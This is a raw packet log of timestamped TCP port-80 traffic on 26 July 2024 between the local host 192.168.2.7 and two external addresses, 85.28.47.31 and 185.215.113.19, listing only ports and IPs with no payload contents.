Jul 26, 2024 08:57:53.330651999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330662966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330673933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330684900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330777884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330833912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330846071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330856085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.330867052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331218958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331232071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331243992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331255913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331265926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331278086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331288099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331298113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331310034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331321001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331435919 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.331614971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331760883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331773043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331783056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331794024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331804991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331815004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331825018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331835985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331845999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.331857920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.332160950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.341986895 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.343071938 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.344954014 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.391711950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391741037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391756058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391769886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391895056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391932011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391944885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.391973972 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.392003059 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.392088890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392102957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392115116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392127991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392388105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392400980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392414093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392426968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392597914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392678976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392692089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392822981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392834902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.392847061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.393172026 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.393191099 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.398638010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398705006 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.398746014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398761034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398804903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398817062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398829937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398842096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.398888111 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.399122953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399137020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399148941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399161100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399214029 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.399317980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399331093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399343967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.399458885 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.403640032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.403672934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.403686047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.403728962 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.403791904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.403804064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.403815985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.403829098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404004097 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.404222012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404263973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404277086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404392004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404403925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404416084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404428005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.404505968 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.410234928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410276890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410289049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410428047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410440922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410451889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410465002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410689116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410702944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410840034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410852909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410864115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410875082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.410886049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.414496899 CEST	80	49758	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:53.416991949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417016029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417030096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417165995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417176962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417188883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417300940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417896032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417987108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.417999029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418061972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418073893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418173075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418185949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418586969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418598890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418611050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418708086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418720007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418849945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418860912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.418872118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419075012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419122934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419136047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419213057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419224977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419236898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419249058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419447899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419460058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419471025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419482946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419956923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.419998884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.420011044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.422220945 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.422220945 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.422234058 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.422277927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.422502995 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.422528028 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.422641993 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.427063942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427134991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427145004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427217960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427227974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427238941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427249908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427426100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427436113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427447081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427463055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427627087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.427638054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.428160906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.428172112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.432210922 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.432270050 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.482072115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482099056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482111931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482127905 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.482150078 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.482333899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482346058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482357025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482368946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482381105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482486963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482498884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482573986 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.482601881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482614040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482625961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482800961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482812881 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482824087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482836008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482933044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.482949018 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.482979059 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.483012915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.483025074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.483059883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.483378887 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.488810062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.488857031 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.488867998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.488879919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489026070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489037991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489048958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489065886 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.489065886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489103079 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.489274979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489286900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489398956 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.489428997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489440918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489453077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489578009 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.489603043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489614010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.489748001 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494127035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494170904 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494209051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494220972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494230986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494241953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494252920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494323969 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494409084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494560957 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494640112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494680882 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494703054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494713068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494779110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494808912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494821072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494896889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.494903088 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.494911909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.495011091 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.500662088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.500706911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.500718117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.500835896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.500880003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.500891924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501080036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501091957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501101971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501113892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501343966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501354933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501364946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.501375914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.504203081 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.504203081 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.507900953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.507920980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.507930040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508028030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508039951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508050919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508061886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508205891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508462906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508549929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508562088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508668900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508680105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508691072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.508703947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509215117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509263039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509274960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509388924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509399891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509411097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509510994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509599924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509610891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509716034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509727955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509741068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509751081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.509999037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510013103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510152102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510163069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510174036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510288954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510299921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510309935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510552883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510592937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510603905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510731936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510744095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510754108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.510766029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511466026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511482954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511495113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511640072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511651039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511713982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.511724949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.514413118 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.523705006 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.523736954 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.523761988 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.523787975 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.523844957 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:53.543804884 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.544087887 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.549284935 CEST	80	49759	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:53.549577951 CEST	80	49758	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:53.550348043 CEST	49758	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.550364017 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.551291943 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:53.558222055 CEST	80	49759	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:53.572892904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.572906017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.572921991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.572932005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.572942019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.572952986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.572963953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573200941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573211908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573221922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573232889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573244095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573523045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573534966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:53.573544979 CEST	80	49756	85.28.47.31	192.168.2.7
